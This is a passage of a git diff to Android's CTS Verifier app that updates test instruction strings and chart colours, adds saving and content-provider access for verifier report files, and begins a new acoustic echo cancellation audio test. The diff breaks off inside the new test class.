+        - \"Delete User\" is disabled.\n
+        - Tapping \"Delete user\" shows an \"Action not allowed\" dialog.\n
         \n
         Use the Back button to return to this page.
     </string>
@@ -3650,8 +3649,9 @@
         Please press the \'Set restriction\' button to set the user restriction.
         Then press \'Go\' to open \'Multiple users\' setting. \n\n
 
-        Mark this test as passed if one of the following conditions is met:\n\n
-        - Main switch is disabled and in off position\n
+        Mark this test as passed if all of the following conditions are met:\n\n
+        - The \"Delete managed user from this device\" option in the overflow menu is disabled\n
+        - Clicking \"Delete managed user from this device\" in the overflow menu results in an \"Action not allowed\" dialog.\n
         \n
         Use the Back button to return to this page.
     </string>
@@ -3713,7 +3713,7 @@
         Check that \'Dummy Input method\', along with all other non-system apps, are not enabled in Settings for the managed profile (they may be enabled for the primary profile). Then disallow \'Dummy Input method\' from permitted input methods by turning on the switch below.
     </string>
     <string name="set_permitted_input_methods_action">
-        Enabling \'Dummy Input method\' in the list of input methods
+        Enabling \'Dummy Input method\' in the list of input methods (make sure you are enabling it for the managed profile, not primary profile)
     </string>
     <string name="set_permitted_input_methods_widget_label">
         Allow only system input methods:
@@ -3962,7 +3962,7 @@
         7) Verify that at the bottom of Quick Settings, you are told the device is managed by \"Foo, Inc.\".\n
         8) Tap on the information.\n
         9) Verify that a dialog informing you about device monitoring opens.\n
-        10) Tap the \"Learn more\" link.\n
+        10) Tap the \"View Policies\" button.\n
         11) Verify that a screen informing you what your managing organization can do is shown.\n
         \n
         Use the Back button to return to this page. If this device does not have quick settings, please skip this test and mark it passing.
@@ -4424,6 +4424,7 @@
     <!--  Pro Audio Tests -->
     <string name="pro_audio_latency_test">Pro Audio Test</string>
 
+    <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
     <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
     <string name="proAudioInputLbl">Audio Input:</string>
     <string name="proAudioOutputLbl">Audio Output:</string>
@@ -4444,6 +4445,10 @@
     <string name="audio_proaudio_NA">N/A</string>
     <string name="audio_proaudio_pending">pending...</string>
 
+    <string name="audio_proaudio_nopa_title">Pro Audio Test</string>
+    <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
+        flag and therefore does not need to run this test.</string>
+
     <!--  MIDI Test -->
     <string name="midi_test">MIDI Test</string>
     <string name="ndk_midi_test">Native MIDI API Test</string>
@@ -4452,9 +4457,9 @@
        Audio Peripheral device with standard MIDI 5-pin, DIN (round) connectors and a standard
        MIDI cable. The cable must be connected to the MIDI input and output plugs on the
        peripheral.
-       \nFor the USB Bluetooth test it is required that you connect a Yamaha MT-BT301 to the
-       correct MIDI plugs on the USB peripheral, the BT301 output jack to the USB interface
-       input jack and BT301 input plug to the USB interface output jack.
+       \nFor the USB Bluetooth test it is required that you connect a Yamaha MD-BT01 to the
+       correct MIDI plugs on the USB peripheral, the BT01 output jack to the USB interface
+       input jack and BT01 input plug to the USB interface output jack.
        \nThe Virtual MIDI test does not require any MIDI interface hardware.
     </string>
 
@@ -4620,6 +4625,46 @@
 
     <string name="unprocessed_test_global_result">Global Results...</string>
 
+    <!-- Audio Frequency Voice_Recognition Test -->
+    <string name="audio_frequency_voice_recognition_test">Audio Frequency Voice Recognition Test</string>
+    <string name="audio_frequency_voice_recognition_info">
+        This test requires an external USB reference microphone, external speakers and a Sound Pressure Level meter.
+        You can play the test signals from the device under test or from a secondary device.
+        Follow the instructions on the screen to measure the frequency response for the built in microphone
+        using VOICE_RECOGNITION audio source.
+    </string>
+    <string name="vr_test_tone_instructions">TEST TONE: Press [PLAY] to play tone at 1 Khz. Measure sound to be 90 dB SPL right next to microphone under test. Press [TEST]</string>
+    <string name="vr_test_noise_instructions">TEST NOISE: Position speakers 40 cms from device under test.
+        Press [PLAY] to play broadband white noise. Press [TEST]</string>
+    <string name="vr_test_usb_background_instructions">TEST USB BACKGROUND: Connect USB microphone and position it right next to microphone under test.
+        No source of noise should be active during this test. Press [TEST]</string>
+    <string name="vr_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test.
+        Position speakers 40 cms from device under test. Press [PLAY] to play broadband white noise. Press [TEST]</string>
+
+
+    <!-- Audio AEC Test -->
+    <string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string>
+    <string name="audio_aec_info">
+        The recording source VOICE_COMMUNICATION will be tested with/without the Acoustic Echo Canceller effect engaged.
+        The Acoustic Coupling Factor (ACF) will be computed for each case. A successful test expects ACF less than 0.4 for AEC ON,
+        and ACF greater than 0.6 for AEC OFF.
+        This test requires a quiet environment, and no headphones or similar connected.
+        This test must pass in devices where AEC functionality is mandatory or any device which implements AEC.
+    </string>
+    <string name="audio_aec_instructions">Press [TEST] to play a voice recording twice with different parameters.</string>
+    <string name="audio_aec_mandatory_test">Is AEC mandatory in this device?</string>
+
+    <!--Audio Frequency Global strings -->
+    <string name="af_button_play">Play</string>
+    <string name="af_button_stop">Stop</string>
+
+    <string name="af_button_test">Test</string>
+    <string name="af_test_results">Results...</string>
+    <string name="af_global_test_results">Global Results...</string>
+    <string name="af_no">No</string>
+    <string name="af_yes">Yes</string>
+
+
     <!-- Strings for 6DoF test -->
     <string name="six_dof_test">6DoF Test</string>
     <string name="action_settings">Settings</string>
@@ -5058,10 +5103,10 @@
     <string name="bubbles_notification_test_verify_9">Click the button below and verify that a bubble
         appears on screen, auto-expanded.</string>
     <string name="bubbles_notification_test_button_9">Send auto-expanded bubble notification</string>
+    <string name="bubbles_notification_no_bubbles_low_mem">No bubbles on low memory device; no tests to run</string>
     <string name="bubbles_test_summary_title">Test Complete</string>
     <string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
     <string name="bubble_activity_title">Bubble Activity</string>
-
     <!-- Strings for Instant Apps -->
     <string name="ia_instruction_heading_label">Instructions:</string>
     <string name="ia_instruction_text_photo_label">READ BEFORE STARTING TEST</string>
@@ -5082,9 +5127,16 @@
     1. Click Start Test. \n\n
     2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
     3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
+    4. Skip this step in china version. \n\n
+    5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
+    </string>
+    <string name="ia_notification_instruction_label_no_app_market_version">\n
+    1. Click Start Test. \n\n
+    2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
+    3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
     4. Check if Instant App is shown in notification area with the following (Please expand the notification if it is collapsed): \n
     \u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
-    \u0020\u0020\u0020b. It provides an action allowing the user to launch the associated link with web browser. \n\n
+    \u0020\u0020\u0020b. Skip this step in china version.Can not launch the associated link with web browser. \n\n
     5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
     </string>
     <string name="ia_recents">Instant Apps Recents Test</string>
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
index 9c6de77..dd18236 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
@@ -3,4 +3,4 @@
         linePaint.strokeWidth="3dp"
         linePaint.color="#AA0000"
         vertexPaint.color="#770000"
-        fillPaint.color="#00000000" />
+        fillPaint.color="#770000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
index 8fb236e..0f27503 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
@@ -3,4 +3,4 @@
         linePaint.strokeWidth="2dp"
         linePaint.color="#777777"
         vertexPaint.color="777777"
-        fillPaint.color="#00000000" />
+        fillPaint.color="#770000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
index 9a6c29a..011f20b 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
@@ -3,4 +3,4 @@
         linePaint.strokeWidth="2dp"
         linePaint.color="#007700"
         vertexPaint.color="#007700"
-        fillPaint.color="#00000000" />
+        fillPaint.color="#880000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
index 3f9ffc2..ce09dfb 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
@@ -1,6 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <config
-        linePaint.strokeWidth="1dp"
-        linePaint.color="#AAAAAA"
-        vertexPaint.color="#777777"
-        fillPaint.color="#00000000" />
+        linePaint.strokeWidth="3dp"
+        linePaint.color="#00AA00"
+        vertexPaint.color="#007700"
+        fillPaint.color="#00ff00"
+        pointLabelFormatter.textPaint.color="#FFFFFF"/>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 1629e1b..85c2753 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -21,52 +21,43 @@
 import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
 
 import com.android.compatibility.common.util.FileUtil;
 import com.android.compatibility.common.util.IInvocationResult;
-import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ResultHandler;
 import com.android.compatibility.common.util.ZipUtil;
 
 import org.xmlpull.v1.XmlPullParserException;
 
-import java.io.BufferedOutputStream;
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.lang.System;
-import java.nio.file.Files;
-import java.nio.file.Paths;
 import java.text.SimpleDateFormat;
 import java.util.Date;
 import java.util.Locale;
 import java.util.logging.Level;
 import java.util.logging.Logger;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
 
 /**
  * Background task to generate a report and save it to external storage.
  */
 class ReportExporter extends AsyncTask<Void, Void, String> {
 
+    public static final String REPORT_DIRECTORY = "verifierReports";
+
+    private static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
     private static final String COMMAND_LINE_ARGS = "";
     private static final String LOG_URL = null;
     private static final String REFERENCE_URL = null;
     private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
     private static final String SUITE_PLAN = "verifier";
     private static final String SUITE_BUILD = "0";
-
     private static final long START_MS = System.currentTimeMillis();
     private static final long END_MS = START_MS;
-
-    private static final String REPORT_DIRECTORY = "verifierReports";
     private static final String ZIP_EXTENSION = ".zip";
-
-    protected static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
-
     private final Context mContext;
     private final TestListAdapter mAdapter;
 
@@ -122,9 +113,26 @@
             // delete the temporary directory and its files made for the report
             FileUtil.recursiveDelete(tempDir);
         }
+        saveReportOnInternalStorage(reportZipFile);
         return mContext.getString(R.string.report_saved, reportZipFile.getPath());
     }
 
+    private void saveReportOnInternalStorage(File reportZipFile) {
+        try {
+            ParcelFileDescriptor pfd = ParcelFileDescriptor.open(
+                    reportZipFile, ParcelFileDescriptor.MODE_READ_ONLY);
+            InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+
+            File verifierDir = mContext.getDir(REPORT_DIRECTORY, Context.MODE_PRIVATE);
+            File verifierReport = new File(verifierDir, reportZipFile.getName());
+            FileOutputStream fos = new FileOutputStream(verifierReport);
+
+            FileUtils.copy(is, fos);
+        } catch (Exception e) {
+            LOG.log(Level.WARNING, "I/O exception writing report to internal storage.", e);
+        }
+    }
+
     /**
      * Copy the XML formatting files stored in the assets directory to the result output.
      *
@@ -153,7 +161,7 @@
     private String getReportName(String suiteName) {
         SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy.MM.dd_HH.mm.ss", Locale.ENGLISH);
         String date = dateFormat.format(new Date());
-        return String.format( "%s-%s-%s-%s-%s-%s",
+        return String.format("%s-%s-%s-%s-%s-%s",
                 date, suiteName, Build.MANUFACTURER, Build.PRODUCT, Build.DEVICE, Build.ID);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index 64c04eb..a2ef71d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.verifier;
 
-import com.android.compatibility.common.util.ReportLog;
-
 import android.app.backup.BackupManager;
 import android.content.ContentProvider;
 import android.content.ContentResolver;
@@ -25,22 +23,63 @@
 import android.content.Context;
 import android.content.UriMatcher;
 import android.database.Cursor;
+import android.database.MatrixCursor;
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteOpenHelper;
 import android.database.sqlite.SQLiteQueryBuilder;
 import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+
+import com.android.compatibility.common.util.ReportLog;
 
 import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
+import java.util.Arrays;
+import java.util.Comparator;
 
-/** {@link ContentProvider} that provides read and write access to the test results. */
+import androidx.annotation.NonNull;
+
+/**
+ * {@link ContentProvider} that provides read and write access to the test results.
+ */
 public class TestResultsProvider extends ContentProvider {
 
+    static final String _ID = "_id";
+    /** String name of the test like "com.android.cts.verifier.foo.FooTestActivity" */
+    static final String COLUMN_TEST_NAME = "testname";
+    /** Integer test result corresponding to constants in {@link TestResult}. */
+    static final String COLUMN_TEST_RESULT = "testresult";
+    /** Boolean indicating whether the test info has been seen. */
+    static final String COLUMN_TEST_INFO_SEEN = "testinfoseen";
+    /** String containing the test's details. */
+    static final String COLUMN_TEST_DETAILS = "testdetails";
+    /** ReportLog containing the test result metrics. */
+    static final String COLUMN_TEST_METRICS = "testmetrics";
+
+    /**
+     * Report saved location
+     */
+    private static final String REPORTS_PATH = "reports";
     private static final String RESULTS_PATH = "results";
+    private static final UriMatcher URI_MATCHER = new UriMatcher(UriMatcher.NO_MATCH);
+    private static final int RESULTS_ALL = 1;
+    private static final int RESULTS_ID = 2;
+    private static final int RESULTS_TEST_NAME = 3;
+    private static final int REPORT = 4;
+    private static final int REPORT_ROW = 5;
+    private static final int REPORT_FILE_NAME = 6;
+    private static final int REPORT_LATEST = 7;
+    private static final String TABLE_NAME = "results";
+    private SQLiteOpenHelper mOpenHelper;
+    private BackupManager mBackupManager;
 
     /**
      * Get the URI from the result content.
+     *
      * @param context
      * @return Uri
      */
@@ -52,6 +91,7 @@
 
     /**
      * Get the URI from the test name.
+     *
      * @param context
      * @param testName
      * @return Uri
@@ -61,33 +101,45 @@
         return Uri.withAppendedPath(getResultContentUri(context), testName);
     }
 
-    static final String _ID = "_id";
+    static void setTestResult(Context context, String testName, int testResult,
+                              String testDetails, ReportLog reportLog) {
+        ContentValues values = new ContentValues(2);
+        values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
+        values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
+        values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
+        values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
 
-    /** String name of the test like "com.android.cts.verifier.foo.FooTestActivity" */
-    static final String COLUMN_TEST_NAME = "testname";
+        final Uri uri = getResultContentUri(context);
+        ContentResolver resolver = context.getContentResolver();
+        int numUpdated = resolver.update(uri, values,
+                TestResultsProvider.COLUMN_TEST_NAME + " = ?",
+                new String[]{testName});
 
-    /** Integer test result corresponding to constants in {@link TestResult}. */
-    static final String COLUMN_TEST_RESULT = "testresult";
+        if (numUpdated == 0) {
+            resolver.insert(uri, values);
+        }
+    }
 
-    /** Boolean indicating whether the test info has been seen. */
-    static final String COLUMN_TEST_INFO_SEEN = "testinfoseen";
-
-    /** String containing the test's details. */
-    static final String COLUMN_TEST_DETAILS = "testdetails";
-
-    /** ReportLog containing the test result metrics. */
-    static final String COLUMN_TEST_METRICS = "testmetrics";
-
-    private static final UriMatcher URI_MATCHER = new UriMatcher(UriMatcher.NO_MATCH);
-    private static final int RESULTS_ALL = 1;
-    private static final int RESULTS_ID = 2;
-    private static final int RESULTS_TEST_NAME = 3;
-
-    private static final String TABLE_NAME = "results";
-
-    private SQLiteOpenHelper mOpenHelper;
-
-    private BackupManager mBackupManager;
+    private static byte[] serialize(Object o) {
+        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
+        ObjectOutputStream objectOutput = null;
+        try {
+            objectOutput = new ObjectOutputStream(byteStream);
+            objectOutput.writeObject(o);
+            return byteStream.toByteArray();
+        } catch (IOException e) {
+            return null;
+        } finally {
+            try {
+                if (objectOutput != null) {
+                    objectOutput.close();
+                }
+                byteStream.close();
+            } catch (IOException e) {
+                // Ignore close exception.
+            }
+        }
+    }
 
     @Override
     public boolean onCreate() {
@@ -96,43 +148,19 @@
         URI_MATCHER.addURI(authority, RESULTS_PATH, RESULTS_ALL);
         URI_MATCHER.addURI(authority, RESULTS_PATH + "/#", RESULTS_ID);
         URI_MATCHER.addURI(authority, RESULTS_PATH + "/*", RESULTS_TEST_NAME);
+        URI_MATCHER.addURI(authority, REPORTS_PATH, REPORT);
+        URI_MATCHER.addURI(authority, REPORTS_PATH + "/latest", REPORT_LATEST);
+        URI_MATCHER.addURI(authority, REPORTS_PATH + "/#", REPORT_ROW);
+        URI_MATCHER.addURI(authority, REPORTS_PATH + "/*", REPORT_FILE_NAME);
 
         mOpenHelper = new TestResultsOpenHelper(getContext());
         mBackupManager = new BackupManager(getContext());
         return false;
     }
 
-    private static class TestResultsOpenHelper extends SQLiteOpenHelper {
-
-        private static final String DATABASE_NAME = "results.db";
-
-        private static final int DATABASE_VERSION = 6;
-
-        TestResultsOpenHelper(Context context) {
-            super(context, DATABASE_NAME, null, DATABASE_VERSION);
-        }
-
-        @Override
-        public void onCreate(SQLiteDatabase db) {
-            db.execSQL("CREATE TABLE " + TABLE_NAME + " ("
-                    + _ID + " INTEGER PRIMARY KEY AUTOINCREMENT, "
-                    + COLUMN_TEST_NAME + " TEXT, "
-                    + COLUMN_TEST_RESULT + " INTEGER,"
-                    + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
-                    + COLUMN_TEST_DETAILS + " TEXT,"
-                    + COLUMN_TEST_METRICS + " BLOB);");
-        }
-
-        @Override
-        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
-            db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
-            onCreate(db);
-        }
-    }
-
     @Override
     public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-            String sortOrder) {
+                        String sortOrder) {
         SQLiteQueryBuilder query = new SQLiteQueryBuilder();
         query.setTables(TABLE_NAME);
 
@@ -153,6 +181,19 @@
                 query.appendWhere("\"" + uri.getPathSegments().get(1) + "\"");
                 break;
 
+            case REPORT:
+                final MatrixCursor cursor = new MatrixCursor(new String[]{"filename"});
+                for (String filename : getFileList()) {
+                    cursor.addRow(new Object[]{filename});
+                }
+                return cursor;
+
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report query not supported. Use content read.");
+
             default:
                 throw new IllegalArgumentException("Unknown URI: " + uri);
         }
@@ -163,6 +204,19 @@
 
     @Override
     public Uri insert(Uri uri, ContentValues values) {
+        int match = URI_MATCHER.match(uri);
+        switch (match) {
+            case REPORT:
+                throw new IllegalArgumentException(
+                        "Report insert not supported. Use content query.");
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report insert not supported. Use content read.");
+            default:
+                break;
+        }
         SQLiteDatabase db = mOpenHelper.getWritableDatabase();
         long id = db.insert(TABLE_NAME, null, values);
         getContext().getContentResolver().notifyChange(uri, null);
@@ -195,7 +249,14 @@
                     selection = testNameSelection;
                 }
                 break;
-
+            case REPORT:
+                throw new IllegalArgumentException(
+                        "Report update not supported. Use content query.");
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report update not supported. Use content read.");
             default:
                 throw new IllegalArgumentException("Unknown URI: " + uri);
         }
@@ -211,6 +272,20 @@
 
     @Override
     public int delete(Uri uri, String selection, String[] selectionArgs) {
+        int match = URI_MATCHER.match(uri);
+        switch (match) {
+            case REPORT:
+                throw new IllegalArgumentException(
+                        "Report delete not supported. Use content query.");
+            case REPORT_FILE_NAME:
+            case REPORT_ROW:
+            case REPORT_LATEST:
+                throw new IllegalArgumentException(
+                        "Report delete not supported. Use content read.");
+            default:
+                break;
+        }
+
         SQLiteDatabase db = mOpenHelper.getWritableDatabase();
         int numDeleted = db.delete(TABLE_NAME, selection, selectionArgs);
         if (numDeleted > 0) {
@@ -225,43 +300,113 @@
         return null;
     }
 
-    static void setTestResult(Context context, String testName, int testResult,
-            String testDetails, ReportLog reportLog) {
-        ContentValues values = new ContentValues(2);
-        values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
-        values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
-        values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
-        values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
+    @Override
+    public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode)
+            throws FileNotFoundException {
+        String fileName;
+        String[] fileList;
+        File file;
+        int match = URI_MATCHER.match(uri);
+        switch (match) {
+            case REPORT_ROW:
+                int rowId = Integer.parseInt(uri.getPathSegments().get(1));
+                file = getFileByIndex(rowId);
+                break;
 
-        final Uri uri = getResultContentUri(context);
-        ContentResolver resolver = context.getContentResolver();
-        int numUpdated = resolver.update(uri, values,
-                TestResultsProvider.COLUMN_TEST_NAME + " = ?",
-                new String[] {testName});
+            case REPORT_FILE_NAME:
+                fileName = uri.getPathSegments().get(1);
+                file = getFileByName(fileName);
+                break;
 
-        if (numUpdated == 0) {
-            resolver.insert(uri, values);
+            case REPORT_LATEST:
+                file = getLatestFile();
+                break;
+
+            case REPORT:
+                throw new IllegalArgumentException("Read not supported. Use content query.");
+
+            case RESULTS_ALL:
+            case RESULTS_ID:
+            case RESULTS_TEST_NAME:
+                throw new IllegalArgumentException("Read not supported for URI: " + uri);
+
+            default:
+                throw new IllegalArgumentException("Unknown URI: " + uri);
+        }
+        try {
+            FileInputStream fis = new FileInputStream(file);
+            return ParcelFileDescriptor.dup(fis.getFD());
+        } catch (IOException e) {
+            throw new IllegalArgumentException("Cannot open file.");
         }
     }
 
-    private static byte[] serialize(Object o) {
-        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
-        ObjectOutputStream objectOutput = null;
-        try {
-            objectOutput = new ObjectOutputStream(byteStream);
-            objectOutput.writeObject(o);
-            return byteStream.toByteArray();
-        } catch (IOException e) {
-            return null;
-        } finally {
-            try {
-                if (objectOutput != null) {
-                    objectOutput.close();
-                }
-                byteStream.close();
-            } catch (IOException e) {
-                // Ignore close exception.
+
+    private File getFileByIndex(int index) {
+        File[] files = getFiles();
+        if (files.length == 0) {
+            throw new IllegalArgumentException("No report saved at " + index + ".");
+        }
+        return files[index];
+    }
+
+    private File getFileByName(String fileName) {
+        File[] files = getFiles();
+        if (files.length == 0) {
+            throw new IllegalArgumentException("No reports saved.");
+        }
+        for (File file : files) {
+            if (fileName.equals(file.getName())) {
+                return file;
             }
         }
+        throw new IllegalArgumentException(fileName + " not found.");
+    }
+
+    private File getLatestFile() {
+        File[] files = getFiles();
+        if (files.length == 0) {
+            throw new IllegalArgumentException("No reports saved.");
+        }
+        return files[files.length - 1];
+    }
+
+    private String[] getFileList() {
+        return Arrays.stream(getFiles()).map(File::getName).toArray(String[]::new);
+    }
+
+    private File[] getFiles() {
+        File dir = getContext().getDir(ReportExporter.REPORT_DIRECTORY, Context.MODE_PRIVATE);
+        File[] files = dir.listFiles();
+        Arrays.sort(files, Comparator.comparingLong(File::lastModified));
+        return files;
+    }
+
+    private static class TestResultsOpenHelper extends SQLiteOpenHelper {
+
+        private static final String DATABASE_NAME = "results.db";
+
+        private static final int DATABASE_VERSION = 6;
+
+        TestResultsOpenHelper(Context context) {
+            super(context, DATABASE_NAME, null, DATABASE_VERSION);
+        }
+
+        @Override
+        public void onCreate(SQLiteDatabase db) {
+            db.execSQL("CREATE TABLE " + TABLE_NAME + " ("
+                    + _ID + " INTEGER PRIMARY KEY AUTOINCREMENT, "
+                    + COLUMN_TEST_NAME + " TEXT, "
+                    + COLUMN_TEST_RESULT + " INTEGER,"
+                    + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
+                    + COLUMN_TEST_DETAILS + " TEXT,"
+                    + COLUMN_TEST_METRICS + " BLOB);");
+        }
+
+        @Override
+        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
+            db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
+            onCreate(db);
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
new file mode 100644
index 0000000..636dc2b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -0,0 +1,517 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.media.*;
+import android.media.audiofx.AcousticEchoCanceler;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.audio.wavelib.*;
+
+public class AudioAEC extends AudioFrequencyActivity implements View.OnClickListener {
+    private static final String TAG = "AudioAEC";
+
+    private static final int TEST_NONE = -1;
+    private static final int TEST_AEC = 0;
+    private static final int TEST_COUNT = 1;
+    private static final float MAX_VAL = (float)(1 << 15);
+
+    private int mCurrentTest = TEST_NONE;
+    private LinearLayout mLinearLayout;
+    private Button mButtonTest;
+    private Button mButtonMandatoryYes;
+    private Button mButtonMandatoryNo;
+    private ProgressBar mProgress;
+    private TextView mResultTest;
+    private boolean mTestAECPassed;
+    private SoundPlayerObject mSPlayer;
+    private SoundRecorderObject mSRecorder;
+    private AcousticEchoCanceler mAec;
+
+    private boolean mMandatory = true;
+
+    private final int mBlockSizeSamples = 4096;
+    private final int mSamplingRate = 48000;
+    private final int mSelectedRecordSource = MediaRecorder.AudioSource.VOICE_COMMUNICATION;
+
+    private final int TEST_DURATION_MS = 8000;
+    private final int SHOT_FREQUENCY_MS = 200;
+    private final int CORRELATION_DURATION_MS = TEST_DURATION_MS - 3000;
+    private final int SHOT_COUNT_CORRELATION = CORRELATION_DURATION_MS/SHOT_FREQUENCY_MS;
+    private final int SHOT_COUNT = TEST_DURATION_MS/SHOT_FREQUENCY_MS;
+
+    private final double TEST_THRESHOLD_AEC_ON = 0.4; //From SoloTester
+    private final double TEST_THRESHOLD_AEC_OFF = 0.6;
+    private RmsHelper mRMSRecorder1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+    private RmsHelper mRMSRecorder2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+
+    private RmsHelper mRMSPlayer1 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+    private RmsHelper mRMSPlayer2 = new RmsHelper(mBlockSizeSamples, SHOT_COUNT);
+
+    private Thread mTestThread;
+
+    //RMS helpers
+    public class RmsHelper {
+        private double mRmsCurrent;
+        public int mBlockSize;
+        private int mShoutCount;
+        public boolean mRunning = false;
+
+        private short[] mAudioShortArray;
+
+        private DspBufferDouble mRmsSnapshots;
+        private int mShotIndex;
+
+        public RmsHelper(int blockSize, int shotCount) {
+            mBlockSize = blockSize;
+            mShoutCount = shotCount;
+            reset();
+        }
+
+        public void reset() {
+            mAudioShortArray = new short[mBlockSize];
+            mRmsSnapshots = new DspBufferDouble(mShoutCount);
+            mShotIndex = 0;
+            mRmsCurrent = 0;
+            mRunning = false;
+        }
+
+        public void captureShot() {
+            if (mShotIndex >= 0 && mShotIndex < mRmsSnapshots.getSize()) {
+                mRmsSnapshots.setValue(mShotIndex++, mRmsCurrent);
+            }
+        }
+
+        public void setRunning(boolean running) {
+            mRunning = running;
+        }
+
+        public double getRmsCurrent() {
+            return mRmsCurrent;
+        }
+
+        public DspBufferDouble getRmsSnapshots() {
+            return mRmsSnapshots;
